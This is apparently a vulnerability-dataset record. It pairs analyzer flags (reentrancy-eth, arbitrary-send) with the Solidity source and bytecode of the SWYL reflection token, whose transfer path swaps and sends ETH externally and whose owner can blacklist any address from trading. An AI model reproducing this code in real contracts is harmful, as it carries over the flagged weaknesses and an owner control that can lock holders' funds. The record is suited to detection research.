6d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61361d81613195565b811461362857600080fd5b50565b613634816131a7565b811461363f57600080fd5b50565b61364b816131d3565b811461365657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f4ff2ec4326e6f8518f26a55b78903e54c4ce4de0946c58d570d6a821770664564736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,425
0x88bf552d7ba4b437640aa3fc2f83509f055f5262
/** *Submitted for verification at Etherscan.io on 2021-07-05 */ /* */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract SAVE is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "SAVE WHAT YOU LOVE"; string private constant _symbol = "SWYL"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 1; uint256 private _teamFee = 20; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 1; _teamFee = 20; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2500000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280601281526020017f53415645205748415420594f55204c4f56450000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f5357594c00000000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b60016008819055506014600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b90508381849650965096505050